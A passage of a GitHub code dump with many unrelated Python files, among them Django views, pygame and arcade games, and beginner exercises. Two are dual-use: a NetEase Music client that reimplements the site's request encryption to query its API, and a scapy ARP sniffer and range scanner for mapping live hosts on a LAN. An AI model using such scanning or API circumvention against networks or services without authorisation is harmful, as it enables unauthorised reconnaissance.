images')\n\n#Proportion of 'Shark' images.  This should yield ~9,000 images \nS_Prop = 0.15\n\n#Image path\npath = \"D:\\\\Population Study Videos\\\\Training Data\\\\Training Images\\\\Shark_Clean\\\\\"\n\n#subset path\noutput_path = \"E:\\\\Shark\\\\\"\n\nUtil.ImageSubSample(path, output_path, S_Prop)\n\n#random_file=random.choice(os.listdir(\"Folder_Destination\"))\n\n\n'''Collate the labeled Shark image set'''\n#Shark images with detailed labels are currently in multiple directories and\n#sub-directories.  This function moves them all into the training folder (~30,500).\n\nprint('Collating labeled shark images')\n\n#Image path\npath = \"D:\\\\Population Study Videos\\\\Training Data\\\\Training Images\\\\ID Catalog\\\\\"\n\n#subset path\noutput_path = \"E:\\\\Shark_2\\\\\"\n\n\nUtil.ImageAgg(path, output_path)\n\n\n'''Meta-data labeling'''\n#The FastAI multi-label CNN requires a csv listing the filename and labels. \n\nprint('Creating a metadata files')\n\n#Image path\npath = \"E:\\\\CNN_training_set_2017\\\\\"\n\nmetaFileName = 'ws_metadata.csv'\n\n#keyword_filter\nkw_filter = ['Shark', 'No_shark', 'Gill', 'Pelvic', 'Caudal', 'Dorsal']\n\nUtil.imageMetaLabel(path, metaFileName, kw_filter)\n","repo_name":"EminentCodfish/White-Shark-CNN-Classifier","sub_path":"Multi-Label CNN Model/WS_Image_Set.py","file_name":"WS_Image_Set.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"15395002701","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.core.paginator import Paginator\nfrom django.conf import settings\n\nimport csv\n\n\ndef index(request):\n    return redirect(reverse('bus_stations'))\n\n\ndef bus_stations(request):\n    with open(settings.BUS_STATION_CSV, encoding='utf-8', newline='') as csvfile:\n        reader = csv.DictReader(csvfile)\n        bas_book = []\n        for row in reader:\n            bas_book.append(row)\n\n    page = int(request.GET.get('page', 1))\n    pagi = Paginator(bas_book, 10)\n\n    if page < 1:\n        page = 1\n    if page > pagi.num_pages:\n        page = pagi.num_pages\n\n    context = {\n        'bus_stations': pagi.page(page).object_list,\n        'page': pagi.page(page),\n    }\n\n    return render(request, 'stations/index.html', context)\n","repo_name":"Yakobro-coder/Django_HW","sub_path":"1.2-requests-templates/pagination/stations/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"31187632247","text":"from __future__ import annotations\n\nfrom django.conf import settings\nfrom django.http import HttpRequest\n\n\ndef get_scheme(request: HttpRequest) -> str:\n    scheme = \"https\"\n    if settings.DEBUG and request is not None:\n        if \"HTTP_X_FORWARDED_PROTO\" in request.META:\n            scheme = request.META[\"HTTP_X_FORWARDED_PROTO\"]\n        else:\n            scheme = request.scheme\n    return scheme\n","repo_name":"pygauthier/django_microsoft_auth","sub_path":"microsoft_auth/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"72257803941","text":"#8.8 Python Crash Course\ndef make_album(artist_name, album_title, number_songs=''):\n    \"\"\"Returns a dictionary with artist and album name\"\"\"\n    album = {'artist': artist_name, 'album': album_title}\n    if number_songs:\n        album['number_songs'] = number_songs\n    return album\n\nwhile True:\n    print(\"\\nEnter the album's information: \")\n    print(\"(enter 'q' to quit anytime)\")\n\n    artist_name = input(\"Artists name: \")\n    if artist_name == 'q':\n        break\n\n    album_title = input(\"Album title: \")\n    if album_title == 'q':\n        break\n\n    album_info = make_album(artist_name, album_title)\n    print(album_info)\n","repo_name":"brk9009/pythonCrashCourse","sub_path":"chapter8/functions/user_albums.py","file_name":"user_albums.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18559841375","text":"\r\nimport math\r\nimport sys\r\n\r\nimport numpy as np\r\n# SEGUNDA PARTE -- pygame\r\nimport pygame\r\n\r\n#VARIABLES GLOBALES\r\nFILAS = 6\r\nCOLUMNAS = 7\r\nAZUL = (0,0,255)\r\nNEGRO = (0,0,0)\r\nROJO = (255,0,0)\r\nAMARILLO = (255,255,0)\r\n\r\n\"Para representar el tablero utilizaremos una matriz de 6 filas y 7 columnas\"\r\ndef create_board():\r\n    tablero = np.zeros((6,7))\r\n    return tablero\r\n\r\n\r\n\"Funcion que coloca la ficha del jugador en la posicion indicada comprobando dicha posicion\"\r\ndef coloca_ficha(tablero, seleccion, turno):\r\n\r\n    # Lo primero que hacemos es comprobar si en la casilla no hay una ficha previa\r\n    valida, rows = es_valida(tablero, seleccion)\r\n\r\n    if valida:\r\n        if turno == 0:\r\n            # Las fichas del jugador #1 tendran el id = 1\r\n            tablero[rows-1][seleccion-1] = 1\r\n\r\n        else:\r\n            # Las fichas del jugador #2 tendran el id = 2\r\n            tablero[rows-1][seleccion-1] = 2\r\n\r\n    return tablero, rows\r\n\r\n\"Funcion que comprueba si en la casilla seleccionada se puede colocar una ficha o no\"\r\ndef es_valida(tablero, seleccion):\r\n    check = True\r\n    rows,_ = tablero.shape\r\n\r\n    if tablero[rows-1][seleccion-1] != 0:\r\n        check = False\r\n    else:\r\n        return check, rows\r\n\r\n    # En el caso de que la posicion este ocupada, comprobamos las filas superiores buscando alguna casillas vacia hasta llegar a la ultima fila\r\n    if not check:\r\n        # Se podria utilizar un bucle for also! :)\r\n        while tablero[rows-1][seleccion-1] != 0:\r\n            rows -= 1\r\n            # En este caso, la columna estara ocupada por lo que no se permiten nuevas casillas\r\n            if rows == 0:\r\n                return False, rows\r\n\r\n        return True, rows\r\n\r\n\"Funcion que comprueba una jugada ganadora que finalice la partida\"\r\ndef movimiento_ganador(tablero, num_ficha):\r\n    # Para implementar esta funcion lo que vamos a hacer consiste en ir recorriendo el tablero y comprobar si hay alguna jugada que finalice el juego. No es la manera\r\n    # mas eficaz, ya que seria ir comprobando alrededor de la ficha actual, pero de primeras vamos a implementarlo de esta manera.\r\n\r\n    # Filas y columnas\r\n    rows, columns = tablero.shape\r\n\r\n    # Caso horizantal: Recorremos hasta la 4º columna, ya que a partir de esta no se pueden dar 4 fichas consecutivas iguales\r\n    for i in range(rows):\r\n        for j in range(columns-3):\r\n            if tablero[i][j] == num_ficha and tablero[i][j+1] == num_ficha and tablero[i][j+2] == num_ficha and tablero[i][j+3] == num_ficha:\r\n                return True\r\n   \r\n   \r\n    # Caso horizantal: Recorremos hasta la 3º fila, ya que a partir de esta no se pueden dar 4 fichas consecutivas iguales\r\n    for j in range(columns):\r\n         for i in range(rows-3):\r\n            if tablero[i][j] == num_ficha and tablero[i+1][j] == num_ficha and tablero[i+2][j] == num_ficha and tablero[i+3][j] == num_ficha:\r\n                return True\r\n\r\n    \r\n    # Caso diagonal pendiente negativa: En este caso, recorremos hasta la 4º columna y 3º fila\r\n    for i in range(rows-3):\r\n        for j in range(columns-3):\r\n            if tablero[i][j] == num_ficha and tablero[i+1][j+1] == num_ficha and tablero[i+2][j+2] == num_ficha and tablero[i+3][j+3] == num_ficha:\r\n                return True\r\n\r\n\r\n    # Caso diagonal pendiente positiva:\r\n    for i in range(3,rows):\r\n        for j in range(columns-3):\r\n            if tablero[i][j] == num_ficha and tablero[i-1][j+1] == num_ficha and tablero[i-2][j+2] == num_ficha and tablero[i-3][j+3] == num_ficha:\r\n                return True\r\n\r\n\r\n# Funcion mediante la cual se implementa el diseño de la interfaz\r\ndef dibuja_tablero(tablero, tam_circulo, radio):\r\n\r\n    for i in range(FILAS):\r\n        for j in range(COLUMNAS):\r\n            # Dibujamos un rectangulo azul que represente el tablero y despues dibujamos los circulos correspondientes\r\n            pygame.draw.rect(Screen, AZUL, (j*tam_circulo, i*tam_circulo+tam_circulo, tam_circulo, tam_circulo))\r\n\r\n            # En este caso, no hay ninguna ficha colocada -> Circulo negro (vacio)\r\n            if tablero[i][j] == 0:\r\n                pygame.draw.circle(Screen, NEGRO, (int(j*tam_circulo + tam_circulo/2), int(i*tam_circulo + tam_circulo + tam_circulo/2)), radio)\r\n\r\n            # En este caso, el jugador 1 coloca ficha, por lo que dibujamos el circulo de color rojo\r\n            elif tablero[i][j] == 1:   \r\n                # Dibujo de los circulos\r\n                pygame.draw.circle(Screen, ROJO, (int(j*tam_circulo + tam_circulo/2), int(i*tam_circulo + tam_circulo + tam_circulo/2)), radio)\r\n\r\n            # En este caso, el jugador 2 coloca ficha, por lo que dibujamos el circulo de color amarillo\r\n            else:\r\n                pygame.draw.circle(Screen, AMARILLO, (int(j*tam_circulo + tam_circulo/2), int(i*tam_circulo + tam_circulo + tam_circulo/2)), radio)\r\n\r\n    pygame.display.update()\r\n\r\n\r\n# Creamos el tablero\r\ntablero = create_board()\r\n\r\n# Mediante el siguiente loop vamos a controlar si la partida ha terminado o no\r\ngame_over = False\r\nturno = 0\r\nfilas, columnas = tablero.shape\r\n\r\n# Inicializamos el pygame\r\npygame.init()\r\n\r\n# Elementos\r\ntam_circulo = 100 #100 px\r\nwidth = columnas * tam_circulo\r\nheight = (filas+1) * tam_circulo #Fila adicional donde se muestra la ficha antes de ser colocada\r\n\r\nsize = (width, height)\r\n\r\nradio = int(tam_circulo/2 - 5)\r\n\r\nScreen = pygame.display.set_mode(size)\r\n\r\ndibuja_tablero(tablero, tam_circulo, radio)\r\npygame.display.update()\r\n\r\ntexto = pygame.font.SysFont(\"monospace\", 60)\r\n\r\nwhile not game_over:\r\n\r\n    for event in pygame.event.get():\r\n        # Cierre de la ventana\r\n        if event.type == pygame.QUIT:\r\n            sys.exit()\r\n\r\n        if event.type == pygame.MOUSEMOTION:\r\n            # Para evitar que todo el rectangulo superior se quede rojo o amarillo, lo que hacemos es dibujar de nuevo un rectangulo\r\n            pygame.draw.rect(Screen, NEGRO, (0, 0, width, tam_circulo))\r\n            posx = event.pos[0]\r\n\r\n            if turno == 0:\r\n                pygame.draw.circle(Screen, ROJO, (posx, int(tam_circulo/2)), radio)\r\n            else:\r\n                pygame.draw.circle(Screen, AMARILLO, (posx, int(tam_circulo/2)), radio)\r\n\r\n        pygame.display.update()\r\n\r\n\r\n\r\n        # Ahora, ya no necesitamos pedirle a los usuarios que inserten una entreda. Luego mediante el evento click del raton, colocaremos las fichas en la columna \r\n        # que se haya indicado\r\n        if event.type == pygame.MOUSEBUTTONDOWN:\r\n\r\n            # Entrada del jugador #1\r\n            if turno == 0:\r\n                #Obtenemos la posicion x del tablero\r\n                posx = event.pos[0] #Este valor se encuentra entre 1 y 700\r\n\r\n                #Como en el problema original pediamos al usuario un valor entre 1-7, ahora para mantener esa dinamica lo que hacemos es sumar\r\n                #a la variable una unidad para ambos turnos\r\n                seleccion = int(math.floor(posx/tam_circulo)) +1 #Redondeo mediante math.floor\r\n             \r\n                tablero, rows = coloca_ficha(tablero, seleccion, turno)\r\n\r\n                # Ahora deberemos comprobar si el jugador ha ganado o la partida continua\r\n                game_over = movimiento_ganador(tablero, 1)\r\n\r\n                if game_over:\r\n                    pygame.draw.rect(Screen, NEGRO, (0, 0, width, tam_circulo))\r\n                    label1 = texto.render(\"GANA EL JUGADOR #1\", 1, ROJO)\r\n                    Screen.blit(label1, (40,10))\r\n\r\n            # Entrada del jugador #2\r\n            else:\r\n                posx = event.pos[0] #Este valor se encuentra entre 0 y 700\r\n                seleccion = int(math.floor(posx/tam_circulo)) + 1\r\n                \r\n                tablero, rows = coloca_ficha(tablero, seleccion, turno)\r\n\r\n                # Ahora deberemos comprobar si el jugador ha ganado o la partida continua\r\n                game_over = movimiento_ganador(tablero, 2)\r\n\r\n                if game_over:\r\n                    pygame.draw.rect(Screen, NEGRO, (0, 0, width, tam_circulo))\r\n                    label2 = texto.render(\"GANA EL JUGADOR #2\", 1, AMARILLO)\r\n                    Screen.blit(label2, (40,10))\r\n            \r\n            # De esta manera, vamos variando la variable turno entre 0 y 1\r\n            turno += 1\r\n            turno = turno % 2\r\n\r\n            print(tablero, \"\\n\")\r\n            dibuja_tablero(tablero, tam_circulo, radio)\r\n\r\n            # Cuando la partida haya terminado, implementamos una espera para mostrar un texto referido al jugador ganador\r\n            if game_over:\r\n                pygame.time.wait(4500)","repo_name":"jhoncabanilla/ConnectFour","sub_path":"conecta4_pygame.py","file_name":"conecta4_pygame.py","file_ext":"py","file_size_in_byte":8572,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14192413872","text":"from domain.carte import Carte\r\n\r\n\r\nclass CarteService:\r\n    def __init__(self, repo):\r\n        self.__repo = repo\r\n        self.lista = []\r\n\r\n    def add_carte(self, is_carte, titlu, autor, an_apaitie):\r\n        carte = Carte(id_carte=is_carte, titlu=titlu, autor=autor, an_aparitie=an_apaitie)\r\n        self.__repo.add(carte)\r\n\r\n    def sterge_carte(self, numar):\r\n        for carte in self.__repo.carti:\r\n            # print(carte.get_an_aparitie())\r\n            an_aparitie = carte.get_an_aparitie()\r\n            ok = 0\r\n            while an_aparitie > 0:\r\n                uc = an_aparitie % 10\r\n                if uc == numar:\r\n                    ok = 1\r\n                an_aparitie = an_aparitie / 10\r\n            if ok == 1:\r\n                self.lista.append(carte)\r\n                res = self.__repo.stergere(carte.get_an_aparitie())\r\n                if res == True:\r\n                    print(\"Cartile au fost sterse cu succes!\")\r\n\r\n    def filtru(self, titlu, an):\r\n        lista = []\r\n        for carte in self.__repo.carti:\r\n            if carte.get_titlu() == titlu and carte.get_an_aparitie() < an:\r\n                lista.append(carte)\r\n        if titlu == \"\" and an == -1:\r\n            lista.append(self.__repo.carti)\r\n        return lista\r\n","repo_name":"MelissaMesesan/UBB---Computer-Sciene-projects-info-romana-2021-2024-","sub_path":"Semestrul 1/FP/practic FP/rezolvari practic/biblioteca/service/carte_service.py","file_name":"carte_service.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"ro","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"31574459408","text":"import requests\nimport random\nfrom Crypto.Cipher import AES\nimport base64\nimport codecs\nimport os\nimport json\nfrom pypinyin import  lazy_pinyin\n\n\nclass Netease:\n    def __init__ (self):\n        self.b = '010001'\n        self.c = '00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7'\n        self.d = '0CoJUm6Qyw8W8jud'\n    #随机的十六位字符串\n\n    def createSecretKey(self, size):\n        return (''.join(map(lambda xx: (hex(ord(xx))[2:]), str(os.urandom(size)))))[0:16]\n    #AES加密算法\n\n    def AES_encrypt(self, text, key, iv):\n        pad = 16 - len(text) % 16\n        if type(text)==type(b''):\n            text = str(text, encoding='utf-8')\n        text = text + str(pad * chr(pad))\n        encryptor = AES.new(key.encode(\"utf8\"), AES.MODE_CBC, iv.encode(\"utf8\"))\n        encrypt_text = encryptor.encrypt(text.encode(\"utf8\"))\n        encrypt_text = base64.b64encode(encrypt_text)\n        return encrypt_text\n    #得到第一个加密参数\n\n    def Getparams(self, a, SecretKey):\n        #0102030405060708是偏移量，固定值\n        iv = '0102030405060708'\n        h_encText = self.AES_encrypt(a, self.d, iv)\n        h_encText = self.AES_encrypt(h_encText,SecretKey,iv)\n        return h_encText\n\n    #得到第二个加密参数\n\n    def GetSecKey(self, text, pubKey, modulus):\n        # 因为JS做了一次逆序操作\n        text = text[::-1]\n        rs = int(codecs.encode(text.encode('utf-8'), 'hex_codec'), 16) ** int(pubKey, 16) % int(modulus, 16)\n        return format(rs, 'x').zfill(256)\n\n    #得到表单的两个参数\n\n    def GetFormData(self, a):\n        SecretKey = self.createSecretKey(16)\n        params = self.Getparams(a, SecretKey)\n        enSecKey = self.GetSecKey(SecretKey, self.b, self.c)\n        data = {\n            \"params\" : str(params, encoding='utf-8'),\n            \"encSecKey\" : enSecKey\n        }\n        return data\n\n    def searchMusic(self, search_song, headers):\n        searchUrl = 'https://music.163.com/weapi/cloudsearch/get/web?csrf_token='\n        musicStr = ''.join(lazy_pinyin(search_song))\n        key = '{hlpretag:\"\",hlposttag:\"</span>\",s:\"' + musicStr + '\",type:\"1\",csrf_token:\"\",limit:\"30\",total:\"true\",offset:\"0\"}'\n        dataStr = str({'s': musicStr, 'csrf_token': ''})\n        FormData = self.GetFormData(key)\n        response = requests.request('POST', searchUrl, data=FormData, headers={\n            'User-agent': headers,\n            'referer': 'https://music.163.com/',\n            'Host': 'music.163.com',\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8'})\n        song_writer = []\n        song_id = []\n        song_name = []\n        song_zj = []\n        song_dict = json.loads(response.text)\n        # for song in song_dict['result']['songs']:\n        #     print(song)\n        #     song_name.append(song['name'])\n        #     song_id.append(song['id'])\n        #     song_ar = song['ar']\n        #     if len(song_ar) == 2:\n        #         song_writer.append(song_ar[0]['name'] + '_' + song_ar[1]['name'])\n        #     else:\n        #         song_writer.append(song_ar[0]['name'])\n        #     song_zj.append(song['al']['name'])\n        return song_dict['result']['songs']\nif __name__ == '__main__':\n    search_song = input(\"请输入搜索音乐的名称:\")\n    nete_music = Netease()\n    song = nete_music.searchMusic(search_song, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36')\n    print(song)","repo_name":"AloneScar/Music-Player","sub_path":"netease.py","file_name":"netease.py","file_ext":"py","file_size_in_byte":3726,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"28988540978","text":"import random\nimport os\nimport pickle\nfrom tensorflow.python import keras\nimport numpy as np\nimport processor as processor\n\nclass Data:\n    def __init__(self, dir_path):\n        self.files = list(self.find_pickle_files(dir_path))\n        self.file_dict = {\n            'train': self.files[:int(len(self.files) * 0.8)],\n            'eval': self.files[int(len(self.files) * 0.8): int(len(self.files) * 0.9)],\n            'test': self.files[int(len(self.files) * 0.9):],\n        }\n        self._seq_file_name_idx = 0\n        self._seq_idx = 0\n        self.pad_token = processor.RANGE_NOTE_ON + processor.RANGE_NOTE_OFF + processor.RANGE_TIME_SHIFT + processor.RANGE_VEL\n\n    def batch(self, batch_size, length, mode='train'):\n\n        batch_files = random.sample(self.file_dict[mode], k=batch_size)\n\n        batch_data = [\n            self._get_seq(file, length)\n            for file in batch_files\n        ]\n        return np.array(batch_data)  # batch_size, seq_len\n    \n    def slide_seq2seq_batch(self, batch_size, length, mode='train'):\n        data = self.batch(batch_size, length+1, mode)\n        x = data[:, :-1]\n        y = data[:, 1:]\n        return x, y\n    \n    def _get_seq(self, fname, max_length=None):\n        with open(fname, 'rb') as f:\n            data = pickle.load(f)\n        if max_length is not None:\n            if max_length <= len(data):\n                start = random.randrange(0,len(data) - max_length)\n                data = data[start:start + max_length]\n            else:\n                data = np.append(data, self.pad_token+2)\n                while len(data) < max_length:\n                    data = np.append(data, self.pad_token)\n        return data\n\n    def find_pickle_files(self, root):\n    \n        for path, _, files in os.walk(root):\n            for name in files:\n                if name.endswith('pickle'):\n                    yield os.path.join(path, name)\n\n","repo_name":"harryboos/Auto-Music-Generation","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"31754170241","text":"# Review of lists. You work at Len’s Slice, a new pizza joint in the neighborhood. You are going to use your knowledge of Python lists to organize some of your sales data.\n\n# Make a list of pizza toppings\ntoppings = [\"pepperoni\", \"pineapple\", \"cheese\", \"sausage\", \"olives\", \"anchovies\", \"mushrooms\"]\nprint(toppings)\n\n# To keep track of how much each kind of pizza slice costs, create a list called prices that holds the following integer values:\nprices = [2, 6, 1, 3, 2, 7, 2]\nprint(prices)\n\n# How many items are 2 bucks?\nnum_two_dollar_slices = prices.count(2)\nprint(f\"There are {num_two_dollar_slices} menu items costing $2\")\n\nnum_of_pizzas = len(toppings)\nprint(f\"We sell {num_of_pizzas} different kinds of pizza!\")\n\n\npizza_and_prices = [\n  [2, \"pepperoni\"],\n  [6, \"pineapple\"],\n  [1, \"cheese\"],\n  [3, \"sausage\"],\n  [2, \"olives\"],\n  [7, \"anchovies\"],\n  [2, \"mushrooms\"]\n]\n\nprint(pizza_and_prices)\n\n# Sort pizza prices by cheapest to most expensive\npizza_and_prices.sort()\n\nprint(pizza_and_prices)\n\n# Find the cheapest pizza\ncheapest_pizza = pizza_and_prices[0][1]\nprint(f\"The cheapest pizza is {cheapest_pizza}\")\n\n# A man walks in and asks for our most priciest pizza!\npriciest_pizza = pizza_and_prices[-1][1]\nprint(f\"The priciest pizza is {priciest_pizza}\")\n\n# That's it, we're out of anchovies, remove it from the list\npizza_and_prices.pop(-1)\nprint(pizza_and_prices)\n\n# Add new topping for peppers\npizza_and_prices.insert(-2, [2.5, \"peppers\"])\nprint(f\"The new menu is {pizza_and_prices}\")\n\n# Store three cheapest pizzas in a list\nthree_cheapest = pizza_and_prices[:3]\nprint(f\"The three cheapest pizzas are {three_cheapest}\")\n\n","repo_name":"Enid-Sky/codeacademy-python-fundamentals","sub_path":"pizza.py","file_name":"pizza.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70373323940","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\nplt.style.use(\"fast\")\n\ndata = pd.read_csv(\"subplot.csv\")\nage = data[\"Age\"]\npython = data[\"Python\"]\njs = data[\"JavaScript\"]\nall_devs = data[\"All_Devs\"]\n\nfig, (ax1, ax2) = plt.subplots(nrows=2, ncols=1, sharex=True)\n\nax1.plot(age, python, label=\"Python\")\nax1.plot(age, js, label=\"JavaScript\")\nax1.set_ylabel(\"Median Salary (USD)\")\nax1.set_title(\"Median Salary by age\")\nax1.legend()\n\nax2.plot(age, all_devs, label=\"All Developers\")\nax2.set_xlabel(\"Age\")\nax2.set_ylabel(\"Median Salary (USD)\")\nax2.legend()\n\nplt.tight_layout()\nplt.show()\n\nfig.savefig(\"subplot.png\")\n","repo_name":"vanshksharma/MatPlotlib","sub_path":"Subplots.py","file_name":"Subplots.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42931343632","text":"from PyQt5.QtCore import *\nfrom PyQt5.QtWidgets import *\nfrom scapy.all import *\nfrom app.network_functions import *\nfrom socket import *\n\n\nclass ScapyArpSnifferWorker(QObject):\n    send_list_signal = pyqtSignal(str, str)\n    send_ip_signal = pyqtSignal(str)\n    finished = pyqtSignal(name=\"done\")\n\n    def __init__(self):\n        super().__init__()\n        # self.live_hosts = live_hosts\n        # print(\"Received list: {}\".format(self.live_hosts))\n\n    @pyqtSlot()\n    def task(self):\n\n        def arp_display(pkt):\n            if pkt[0][1].op == 1:\n                print(\"{} with MAC {} is asking where {} is\".format(pkt[ARP].psrc, pkt[ARP].hwsrc, pkt[ARP].pdst))\n            elif pkt[0][1].op == 2:\n                print(\"{} is at {}\".format(pkt[ARP].psrc, pkt[ARP].hwsrc))\n            ip_mac_list = [\n                pkt[ARP].psrc,\n                pkt[ARP].hwsrc\n            ]\n            # host_dict = [[\n            #     pkt[ARP].psrc,\n            #     pkt[ARP].hwsrc\n            # ]]\n            # Check if IP Address is in our list:\n            # Also eliminate the special '0.0.0.0' case (Host without IP address yet):\n            if not (pkt[ARP].psrc == '0.0.0.0'):\n                print(\"Worker sending {}\".format(ip_mac_list))\n                # print(\"Worker sending ip signal {}\".format(pkt[ARP].psrc))\n                # self.send_ip_signal.emit(pkt[ARP].psrc)\n                self.send_list_signal.emit(pkt[ARP].psrc, pkt[ARP].hwsrc)\n\n\n            # If an IP Address has been allocated to another host, update the MAC address:\n            # elif any(d.get('IP Address') == pkt[ARP].psrc and not d.get('MAC Address') == pkt[ARP].hwsrc for d in\n            #          self.live_hosts):\n            #     for d in self.live_hosts:\n            #         if d['IP Address'] == pkt[ARP].psrc:\n            #             d['MAC Address'] = pkt[ARP].hwsrc\n            #     print(\"Host {} updated with new MAC Address {}\".format(pkt[ARP].psrc, pkt[ARP].hwsrc))\n            #     print(self.live_hosts)\n            #     self.send_list_signal.emit(self.live_hosts)\n\n        print(sniff(prn=arp_display, filter=\"arp\"))\n        # self.send_list_signal.emit(self.live_hosts)\n\n\nclass ScapyArpQueryWorker(QObject):\n    str_signal = pyqtSignal(str)\n    finished = pyqtSignal(name=\"done\")\n\n    def __init__(self, iface, first_ip,last_ip):\n        super().__init__()\n        self.iface = iface\n        self.first_ip = first_ip\n        self.last_ip = last_ip\n        self._is_running = True\n\n    @pyqtSlot()\n    def stop_worker(self):\n        print(\"Worker received the Stop signal\")\n        self._is_running = False\n        print(\"_is_running is {}\".format(self._is_running))\n\n    @pyqtSlot()\n    def task(self):\n\n        for i in range(self.first_ip, self.last_ip + 1):\n            dotted_ip = integer_to_dotted_decimal_ip(i)\n            print(\"Sending packet to\", dotted_ip)\n            self.str_signal.emit(dotted_ip)\n            pkt = sendp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=dotted_ip), verbose=False)\n            # if pkt[0][0][1]:\n            #     print(\"{} is at {}\".format(dotted_ip, pkt[0][0][1].hwsrc))\n            QThread.msleep(10)\n            QApplication.processEvents()\n            if not self._is_running:\n                break\n\n        self._is_running = False\n        self.finished.emit()\n\n\nclass FqdnWorker(QObject):\n    send_fqdn_signal = pyqtSignal(str, str)\n    # finished = pyqtSignal(name=\"done\")\n\n    def __init__(self):\n        super().__init__()\n\n    # @pyqtSlot() # Again, @pyqtSlot seems to break things. Avoid it in this case.\n    def task(self, ip):\n\n        fqdn = getfqdn(ip)\n        self.send_fqdn_signal.emit(ip, fqdn)\n","repo_name":"DamienDaco/Scan_My_LAN","sub_path":"app/scapy_tools.py","file_name":"scapy_tools.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14860886941","text":"#simulador de dado de 1 a 6\n#sem interface (incompleto)\nimport random \nimport PySimpleGUI as sg\nclass SimuladorDeDado:\n    def __init__(self):\n        self.valor_minimo = 1\n        self.valor_maximo = 6\n        #layout\n        self.layout = [\n            [sg.Text('Jogar o dado?')],\n            [sg.Button('sim'),sg.Button('Não')]\n        ]\n        \n    def Iniciar(self):\n        #criar a janela \n        self.janela = sg.Window('simulador de dado',layout=self.layout)\n        #ler eventos\n        self.eventos, self.valores = self.janela.Read()\n        #fazer algo com os valores\n        try:\n            if self.eventos == 'sim' or self.eventos == 's':\n                self.GerarValorDoDado()\n            elif self.eventos == 'Não' or self.eventos == 'n':\n                print('Agradecemos sua participação!!!')\n            else:\n                print('favor digitar sim,s,não ou n')    \n        except:\n            print('Ocorreu um erro durante sua operação!')\n    def GerarValorDoDado(self):\n        print(random.randint(self.valor_minimo,self.valor_maximo))\n\nsimulador = SimuladorDeDado()\nsimulador.Iniciar() \n        ","repo_name":"aryelzx/Dado_Em_Python","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38882207649","text":"\"\"\"It contains  DoctorProfile.\"\"\"\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\n\n\nclass DoctorProfile(models.Model):\n    \"\"\"Defines Doctor model.\"\"\"\n\n    KIND_CHOICES = (\n        ('Urologist', 'Urologist'),\n        ('Gynecologist', 'Gynecologist'),\n        ('Dermatologist', 'Dermatologist'),\n        ('Nephrologist', 'Nephrologist'),\n        ('Endocrinologist', 'Endocrinologist'),\n        ('Cardiologist', 'Cardiologist'),\n        ('Virologist', 'Virologist'),\n        ('Surgeon', 'Surgeon'),\n    )\n\n    profile_picture = models.ImageField(\n        upload_to='users',\n        blank=True\n    )\n    user = models.OneToOneField(User, on_delete=models.CASCADE, null=True, blank=True)\n    name = models.CharField(max_length=30)\n    specialty = models.CharField(max_length=20, choices=KIND_CHOICES)\n\n    def __str__(self):\n        return f\"{self.name}\"\n","repo_name":"htodev/HospitalRegister","sub_path":"doctors_auth/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15529413722","text":"import arcade\nimport arcade.gui\n\nimport constants\n\nclass MainMenu(arcade.View):\n    def __init__(self, window: arcade.Window = None, game_loop = None):\n            super().__init__(window)\n\n            self._game_loop = game_loop\n\n            self._ui_manager = arcade.gui.UIManager()\n            self._ui_manager.enable()\n\n            self.v_box = arcade.gui.UIBoxLayout(space_between=5)\n\n            self._create_battle_button = arcade.gui.UIFlatButton(text=\"Battle!\", width=constants.MAIN_MENU_BUTTON_WIDTH)\n\n            self._create_battle_button.on_click = self._create_battle\n\n            self.v_box.add(self._create_battle_button)\n\n            self._create_unit_button = arcade.gui.UIFlatButton(text= \"Create Units [Disabled]\", width=constants.MAIN_MENU_BUTTON_WIDTH)\n\n            self._create_unit_button.on_click = self._create_unit\n\n            self.v_box.add(self._create_unit_button)\n\n            self._exit_button = arcade.gui.UIFlatButton(text=\"Exit\", width=constants.MAIN_MENU_BUTTON_WIDTH)\n\n            self._exit_button.on_click = self._exit_game\n\n            self.v_box.add(self._exit_button)\n\n            self._ui_manager.add(\n                arcade.gui.UIAnchorWidget(\n                    